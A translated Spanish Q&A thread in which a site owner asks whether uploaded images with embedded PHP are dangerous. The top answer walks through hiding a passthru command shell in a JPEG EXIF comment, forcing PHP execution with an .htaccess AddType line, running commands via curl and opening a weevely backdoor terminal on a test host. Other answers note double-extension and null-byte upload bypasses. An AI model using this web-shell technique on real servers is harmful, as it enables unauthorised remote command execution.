Código malicioso en la imagen. ¿Perjudicial?

2

En mi sitio web, un usuario puede subir su foto de perfil. Después del análisis de algunas imágenes, encontré algunas imágenes con código malicioso PHP , como el script de carga. Como ejemplo, he encontrado un único código de línea de PHP :

<?php echo $_GET['a']; ?>

Entonces, al usar este código, si puede cargar esta imagen como un archivo .php , como picture.php , entonces puede ejecutar esta secuencia de comandos haciendo algo como url/pictur.php?a=[anything] . Pero la imagen no se puede cargar como extensión .php ya que todas las extensiones de imagen se cambian automáticamente a .jpg . Además, nunca incluyo la imagen por php function include . Más bien, siempre agrego imagen con la etiqueta html img .

Sé que la mejor práctica para detener a personas malintencionadas es cambiar el tamaño de la imagen. ¿Es posible que una persona maliciosa dañe con este tipo de imagen?

    
pregunta Imran Abdur Rahim 24.03.2014 - 06:22
fuente

4 respuestas

2

Para manipular los campos de metadatos EXIF JPEG, usaré la herramienta de línea de comando jhead . Existen muchas otras herramientas con funciones similares para elegir según sus necesidades.

Ahora que tenemos nuestra herramienta de manipulación de metadatos, podemos recoger una imagen jpeg aleatoria y leer los metadatos.

root@testbed:~# jhead image.jpg
File name    : image.jpg
File size    : 208103 bytes
File date    : 2011:09:07 21:20:10
Date/Time    : 2007:04:24 14:11:55
Resolution   : 1197 x 478
======= IPTC data: =======
Record vers.  : 2

El archivo está bastante limpio, por lo tanto, hagámoslo un poco más sucio ocultando algo de código PHP en el campo de comentarios de metadatos. Para editar el campo de comentarios, usaré el indicador -ce de la herramienta jhead .

root@testbed:~# jhead -ce image.jpg
Modified: image.jpg
root@testbed:~# jhead image.jpg
File name    : image.jpg
File size    : 182007 bytes
File date    : 2011:09:07 21:20:10
Resolution   : 1197 x 478
Comment      : <?php passthru($_POST['cmd']); __halt_compiler();

Usando la función passthru podemos ejecutar un comando externo a la máquina de destino. El comando se pasa al destino utilizando el método POST bajo el nombre "cmd". Aquí, alguien podría pensar que también podemos usar el método GET para pasar el comando a la máquina de destino. Eso es cierto, también podemos usarlo, aunque los comandos que enviamos al destino se notan fácilmente en el registro de acceso de httpd porque son parte de la URL.

El comando halt_compiler impedirá que el compilador analice los datos binarios de las imágenes. La información de metadatos se almacena antes de los datos de las imágenes, por lo que debemos detener el compilador después de nuestro código, porque si se produce un <? en los siguientes datos binarios, la ejecución se interrumpirá. Es por eso que no necesitamos cerrar la sección de PHP.

Ahora que hemos escondido nuestro código PHP en el archivo de imagen, debemos forzar al servidor web de destino a manejar el archivo .jpg como un archivo PHP. Para lograr esto, usaremos la directiva AddType en un archivo .htaccess . La directiva AddType asigna una extensión de nombre de archivo dada a un tipo de contenido específico. Para utilizar la directiva AddType , el Apache de destino debe tener mod_mime habilitado y permitir al menos un FileInfo en el directorio donde colocaremos el archivo.

Subiremos el archivo jpg malintencionado a la ruta de los medios, por lo que necesitamos poner un .htaccess en el directorio correspondiente con los archivos .jpg de asignación de directivas% co_de en .php.

root@webtestbed:/var/www/media# echo “AddType application/x-httpd-php .jpg” >> .htaccess

Bien, todo está configurado, así que iniciemos nuestro primer intento de ejecutar un comando en la máquina de destino. Para enviar el comando usando el método POST, usaré la herramienta AddType .

root@testbed:~# curl -d cmd=id http://192.168.2.11/media/image.jpg
.........JFIF..........................................................uid=33(www-data) gid=33(www-data) groups=33(www-data)

Bingo! el comando se ha ejecutado con éxito en la máquina de destino. La basura al inicio de la salida es causada por los datos del encabezado de la imagen.

Algo que debe mencionarse aquí, es que algunas configuraciones de PHP pueden tener curl incluido en sus funciones deshabilitadas. En ese caso, puede elegir una función similar como passthru , system , exec , etc.

Ahora que hemos confirmado que nuestra técnica está funcionando, podemos ocultar un shell de puerta trasera PHP completo en el campo de comentarios de la misma imagen. Para ello, elegiré el shell PHP más pequeño, pero puede elegir un shell alternativo que tenga en su arsenal pentest.

Inicialmente, creamos el shell con el script weevely y luego copiamos el código PHP generado en el campo de comentarios de metadatos.

root@testbed:weevely# ./weevely.py -g -o back.php -p admin
Weevely 0.3 - Generate and manage stealth PHP backdoors.
Copyright (c) 2011-2012 Weevely Developers
Website: http://code.google.com/p/weevely/
+ Backdoor file 'back.php' created with password 'admin'.

Finalmente, para establecer un terminal con el servidor de destino, llamamos a weevely con el indicador de terminal que proporciona la URL de la imagen y la contraseña que usamos en el paso de creación.

root@testbed:weevely# ./weevely.py -t -p admin -u http://192.168.2.11/media/image.jpg
Weevely 0.3 – Generate and manage stealth PHP backdoors.
Copyright (c) 2011-2012 Weevely Developers
Website: http://code.google.com/p/weevely/
+ Using method ‘system()’.
+ Retrieving terminal basic environment variables .

[www-data@webtestbed /var/www/media] ls
image.jpg
[www-data@webtestbed /var/www/media] id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[www-data@webtestbed /var/www/media]

¡Pwned! Tenemos privilegios de usuario Apache (www-data) para acceder a la máquina de destino.

    
respondido por el Yogendra Sharma 24.03.2014 - 09:01
fuente
2

Si bien nunca puede ejecutar el código localmente en su servidor, puede ser posible cargar código JavaScript malicioso. Luego, el atacante puede apuntar a su sitio cuando necesita hacer referencia al código en otros ataques (por ejemplo, XSS). También puede haber situaciones poco frecuentes en las que se pueda consumir PHP u otro código del lado del servidor de esta imagen.

Es posible que haya configuraciones erróneas en su servidor o que el atacante simplemente cargue la imagen del ataque donde quiera que ocurra algún tipo de include() de eval() .

por ejemplo, vea este ejemplo (a partir de 2008, pero algunos ataques pueden seguir funcionando en servidores web desactualizados: Recomiendo leer el resto del hilo para conocer conceptos interesantes):

  

Si el servidor cambia la extensión a .JPG / .GIF (o solo permite que   extensiones), entonces necesitas ser más creativo. En Apache, puedes   nombre un archivo something.php.jpg, y Apache todavía lo tratará como PHP.

     

Otra opción que puede probar es enviando una solicitud de carga (con un   o un editor de solicitudes HTTP) que incrusta un byte NULO antes de la   Extensión .JPG. Los guiones ASP tienden a ser vulnerables a esto:   El script verá el nombre completo del archivo, pero el archivo subyacente   La operación truncará el nombre del archivo después del byte NULO. Asi que   algo.asp% 00.jpg se convertiría en algo.asp.

Otro tutorial de un código PHP incrustado en una imagen .

    
respondido por el Eric G 25.03.2014 - 01:21
fuente
-1

No tengo conocimiento de ningún riesgo para un servidor debido a imágenes con código incrustado malicioso, pero Internet Explorer tiene una "característica" muy conocida en la que ignorará la extensión de un archivo y el tipo MIME, y en su lugar lo analizaré para determinar ¿De qué tipo es? Las imágenes con HTML incorporado se tratarán como páginas web y se pueden usar para ejecutar un ataque en IE.

    
respondido por el Mark 24.03.2014 - 10:41
fuente
-4

en la ley es: en dubio pro reo, en el momento es: en dobio pro h4x0r, / me thinx. Recuerdo algunos ataques con este método, pero no recuerdo las aplicaciones que se usaron.
¿Está 100% seguro de que el atacante no tiene forma de ejecutar este código?

si el objetivo no es usted, sino sus visitantes, entonces un atacante puede ocultar cosas maliciosas que no le hagan daño, pero sus visitantes; Recuerdo algo acerca de "tener Windows con un jpeg - en 2014" - blogposts últimamente

    
respondido por el that guy from over there 24.03.2014 - 08:06
fuente

Lea otras preguntas en las etiquetas